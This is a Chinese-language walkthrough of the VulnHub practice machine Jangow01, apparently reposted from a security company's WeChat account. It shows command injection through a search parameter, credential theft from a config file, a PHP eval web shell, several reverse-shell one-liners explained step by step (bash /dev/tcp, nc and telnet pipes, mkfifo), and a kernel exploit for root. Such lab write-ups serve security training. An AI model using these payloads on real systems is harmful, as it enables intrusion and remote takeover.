目标IP:192.168.31.217
攻击IP:192.168.44.129
Nmap扫端口:nmap -sC -sV -p- 192.168.31.217 -oA jangow01
解释: -sC 使用默认类别的脚本进行扫描等价于--script=default
-sV 扫描目标主机的端口和软件版本
-p- 0-65535端口
-oA 输出所有格式
扫描结果:
开放端口:21 80
目录:site/
版本:Apache2.4.18(ubuntu)
浏览器访问192.168.31.217:80
Index of/
site/ (目录)
点击site/ --> http://192.168.31.217/site/
1.the preview page. 链接 ->https://startbootstrap.com/theme/grayscale/ (外部连接)
2.底部输入框,提示输入邮箱,输入后页面返回顶部
3.右上角Buscar点击后链接->http://192.168.43.238/site/busque.php?buscar= 发现是一个php页面,并通过buscar传递参数
?buscar=ls 页面能够显示内容
?buscar=car /etc/passwd 发现jangow01 : x:1000:1000:desafio02,,,:/home/jangow01
尝试jangow01 desafio02登录无效
?buscar=ls -all /home/jangow01 查看jangow01里面的文件-->最后有一个user.txt
?buscar=cat /home/jangow01/user.txt --> d41d8cd98f00b204e9800998ecf8427e --->MD5解密 --> [空密码]/[Empty String]
目录扫描:
gobuster -u http://192.168.31.217/site/ -w /usr/share/dirb/wordlists/big.txt -t 100 -x .php,.txt,.zip
找到了wordpress文件夹 -> ?buscar=ls wordpress 查看里面的文件 -> 有config.php index.html
?buscar=cat wordpress/config.php 得到账号密码信息:desafio02 abygurl69
尝试登录系统失败,jangow01 desafio02 abygurl69组合测试登录
组合账号密码 jangow01 abygurl69 可以登录
通过页面写入木马文件 -> ?buscar=echo '<?php eval($_POST['x']);?>' > 1.php
访问http://192.168.31.217/site/1.php 无报错 ->菜刀连接成功
html文件夹下有一个.backup文件,cat 后里面是正确的账号密码,可以登录系统
uname -a 查看版本->ubuntu 4.4.0-31
反弹shell :
攻击机:nc -lvp 1234 监听1234端口
-l 监听 -v输出交互或出错信息 -p 端口
目标机:bash -i >& /dev/tcp/攻击机ip/1234 0>&1
bash -i :interactive,打开一个交互的bash
反弹shell过程描述:
攻击机:
nc -lvp 1234
过程一:
目标机:
bash -i > /dev/tcp/192.168.0.103/1234 受害端标准输出到攻击机
但是攻击机无法控制,只能接收受害端传过来的信息
过程二:
bash -i < /dev/tcp/192.168.0.103/1234
攻击机可以控制受害机,但是攻击机看不到执行结果
过程三:
bash -i > /dev/tcp/192.168.0.103/1234 0>&1
bash -i &> /dev/tcp/x.x.x.x/1234 0>&1
bash -i >& /dev/tcp/x.x.x.x/1234 0>&1
0-标准输入 1-标准输出 2-错误输出 >&或&> - 混合输出
攻击机可以直接控制受害机,显示执行结果,但是执行错误命令时错误信息不会显示
>& 将标准错误输出重定向到标准输出
/dev/tcp/x.x.x.x/port 调用socket,建立socket连接
0>&1 标准输入重定向到标准输出,实现与反弹出来的shell的交互
/dev/tcp/是linux中的一个特殊设备,打开这个文件就相当于发出了一个socket调用,建立一个socket连接,读写这个文件就相当于在这个socket连接中传输数据。
过程四:
目标机:nc x.x.x.x 1234|/bin/bash|nc x.x.x.x 4321
在攻击主机上打开两个终端,分别监听1234和4321端口,得到反弹shell后,1234终端输入命令,4321终端就会显示执行的命令的结果
使用telnet反弹shell:
telnet x.x.x.x 1234|/bin/bash|telnet x.x.x.x 4321
目标机:rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc x.x.x.x >/tmp/f
rm /tmp/f 删除命令
mkfifo /tmp/f; 在tmp目录下写fifo文件f
/bin/sh -i 2>&1 将/bin/sh的标准错误重定向到标准输出
nc x.x.x.x 1234 >/tmp/f 将nc监听到的输入 输入到fifo
用菜刀在site文件夹中创建一个shl.php文件
<?php system(‘rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.44.129 443 > /tmp/f’);?>
在攻击机中nc -lvp 443监听443端口
网页访问http://192.168.31.217/site/shl.php
攻击机中监听成功
提权操作:
searchsploit ubuntu 4.4.0 #查找版本相关漏洞
发现可用漏洞文件45010.c
通过ftp上传到目标服务器
put 45010.c /home/jangow01/45010.c
gcc 45010.c -o exp 生成可执行文件
chmod +x exp 修改exp文件的权限
./exp 执行exp文件
成功提权,cd /root 成功
有proof.txt文件
cat proof.txt
原文始发于微信公众号(北京路劲科技有限公司):VulnHub靶场Jangow01
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论